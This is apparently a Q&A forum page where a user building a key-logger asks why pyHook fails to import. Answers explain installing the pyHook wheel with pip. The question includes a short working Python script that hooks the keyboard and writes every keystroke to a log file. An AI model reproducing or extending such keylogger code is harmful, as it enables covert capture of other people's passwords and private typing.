Vivek Trivedi
Vivek Trivedi

Reputation: 21

How to download PyHook module

I have tried to install PyHook but I'm still getting the error:

ImportError: No module named 'pyhook'

Please give a me solution. How do I solve this error.

I am making a key-logger program.

**code:**
import pythoncom, pyHook, sys, logging
LOG_FILENAME = 'YOURNAME-keylog.txt'
def OnKeyboardEvent(event):
    logging.basicConfig(filename=LOG_FILENAME,
                        level=logging.DEBUG,
                        format='%(message)s')
    print "Key: ", chr(event.Ascii)
    logging.log(10,chr(event.Ascii))
    return True
hm = pyHook.HookManager()
hm.KeyDown = OnKeyboardEvent
hm.HookKeyboard()
pythoncom.PumpMessages()

Please refer screenshot for error

Upvotes: 1

Views: 17224

Answers (2)

BPL
BPL

Reputation: 9863

First just check which python version you're running, in my case when i type python i'll see:

Python 2.7.11 (v2.7.11:6d1b6a68f775, Dec 5 2015, 20:40:30) [MSC v.1500 64 bit (AMD64)] on win32

That means I'd need to install the 64bits version for python 2.7, the simplest way will be downloading the pyhook package from this website, then just save it on your virtualenv directory (if you're using one) or just in your python folder. Then open a command prompt and go to the path where the package has been downloaded and just type pip install the_name_of_your_package.whl, for example, if you're running python 2.7 64bits, you'd type:

pip install pyHook-1.5.1-cp27-none-win_amd64.whl

Once that's installed correctly your script should work without problems.

Upvotes: 2

Chris
Chris

Reputation: 22963

First of. If you want PyHook your going to have to download it your self, since it is not part of the standard python library that comes with python. There are my ways you could go about installing it. But the way I recommend is:

1. Download PyHook from this page. Make sure to get the download that matches your version of python and your bit number(32 or 64).

2. Next in your command prompt/terminal window type:

pip install [full path and name of .whl file]

This command tells pip to install PyHook for. In my case I typed:

pip install C:\pyHook-1.5.1-cp35-none-win_amd64.whl`

After doing this your script should run without any problems. If you do encounter any problems using this method, check and see if your installed the right version of python and the correct bit number.

Upvotes: 0

Related Questions